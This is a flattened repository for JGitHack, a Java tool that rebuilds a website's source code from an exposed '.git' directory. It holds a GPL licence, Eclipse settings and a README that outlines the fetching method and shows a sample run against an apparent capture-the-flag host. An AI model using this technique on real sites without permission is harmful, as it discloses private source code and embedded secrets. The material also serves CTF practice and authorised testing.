├── .classpath ├── .project ├── .settings └── org.eclipse.jdt.core.prefs ├── LICENSE ├── README.md ├── release └── JGitHack.jar └── src └── java └── com └── jgithack ├── Main.java ├── core ├── IndexParse.java ├── ObjectParse.java └── PageDownload.java ├── hack └── GitHack.java ├── io ├── Charsets.java ├── FileUtils.java ├── IOUtils.java └── StringBuilderWriter.java ├── lang └── StringUtil.java ├── log └── LogUtils.java ├── model └── IndexEntry.java └── ui ├── AboutFrame.java └── HomeFrame.java /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | JGitHack 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | 15 | org.eclipse.jdt.core.javanature 16 | 17 | 18 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | #Wed Oct 19 11:55:22 CST 2016 2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.7 3 | eclipse.preferences.version=1 4 | encoding/src/main/java=UTF-8 5 | org.eclipse.jdt.core.compiler.source=1.7 6 | encoding/src/test/resources=UTF-8 7 | encoding/src/main/resources=UTF-8 8 | encoding/src/test/java=UTF-8 9 | org.eclipse.jdt.core.compiler.compliance=1.7 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JGitHack 2 | JGitHack is a Java tool using ".git leak" to restore web project. 3 | 4 | ## Main Principle 5 | * fetch git objects directories 6 | + fetch ".git/logs/HEAD" from web 7 | + parse ".git/logs/HEAD" for getting sha1 of commit object 8 | + fetch commit object by their sha1 from web 9 | + parse commit object for getting sha1 of tree object 10 | + fetch tree object for getting sha1 of blob object or other tree object 11 | * fetch current viersion of codes 12 | + ".git/index" from web 13 | + parse ".git/index" for getting the mapping between sha1 and file name 14 | - fetching blob object with sha1 15 | - restore it to file with file name 16 | * git cli can be used from now on for further operation, e.g. checkout old versions. 17 | 18 | ## Example 19 | * run JGitHack with a web url which has ".git leak".(The url used below is dynamic which may be ineffective now.) 20 | ``` shell 21 | GitHack build start 22 | rootUrl: http://10969825b5674ba6b0f0dd5b9742d5677aa2c9ad31314ff7.game.ichunqiu.com/Challenges 23 | downloadDir: 10969825b5674ba6b0f0dd5b9742d5677aa2c9ad31314ff7.game.ichunqiu.com/Challenges 24 | download file "/.git/index", size: 289 25 | download file "/.git/logs/HEAD", size: 975 26 | download file "/.git/config", size: 137 27 | download file "/.git/COMMIT_EDITMSG", size: 15 28 | download file "/.git/HEAD", size: 23 29 | download file "/.git/refs/heads/master", size: 41 30 | download object, sha1: 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88, size: 139 31 | download object, sha1: 1556a1d651526780ecd22db22681619e4ce6aa4b, size: 146 32 | download object, sha1: 69eaa876b7c0ec09169133a0cece4ef4622377f2, size: 83 33 | download object, sha1: 91eb7d06c3c2e3b4260270c008b3bc2fb31fdb53, size: 83 34 | download object, sha1: a5ea8f33599400a1622e06d2052593de79c57716, size: 66 35 | download object, sha1: bd049e0081dbaba2311310b908e4b57cfe961c78, size: 68 36 | download object, sha1: d0632969351d8329c6bdc1cac5e30b7d20fa8c82, size: 59 37 | download object, sha1: 25a4a898b1a45412a538a7baa868bc406c1d8ba9, size: 117 38 | download object, sha1: abbbdcc032c8e76087f2daf593f423f74857b0cf, size: 146 39 | download object, sha1: 734d08bfd094afa3372b997bf1c71412c1afc7d9, size: 145 40 | GitHack build success 41 | GitHack cost 11s 42 | GitHack checkout start 43 | download object, sha1: 8854e23055a5d895157ee4df3e9f38e1e16f5e99, size: 52 44 | restore file: /flag.php, sha1: 8854e23055a5d895157ee4df3e9f38e1e16f5e99 45 | download object, sha1: d0632969351d8329c6bdc1cac5e30b7d20fa8c82, size: 59 46 | restore file: /index.php, sha1: d0632969351d8329c6bdc1cac5e30b7d20fa8c82 47 | download object, sha1: 20c774a517f7ee2d74379ca23d80c200e887eac3, size: 56 48 | restore file: /robots.txt, sha1: 20c774a517f7ee2d74379ca23d80c200e887eac3 49 | GitHack checkout success 50 | ``` 51 | * check the status for git 52 | ``` shell 53 | MacBook-Air$ git fsck 54 | Checking object directories: 100% (256/256), done. 55 | 56 | MacBook-Air$ git log 57 | commit abbbdcc032c8e76087f2daf593f423f74857b0cf 58 | Author: tmp 59 | Date: Fri Sep 16 13:16:21 2016 +0800 60 | add robots.txt 61 | 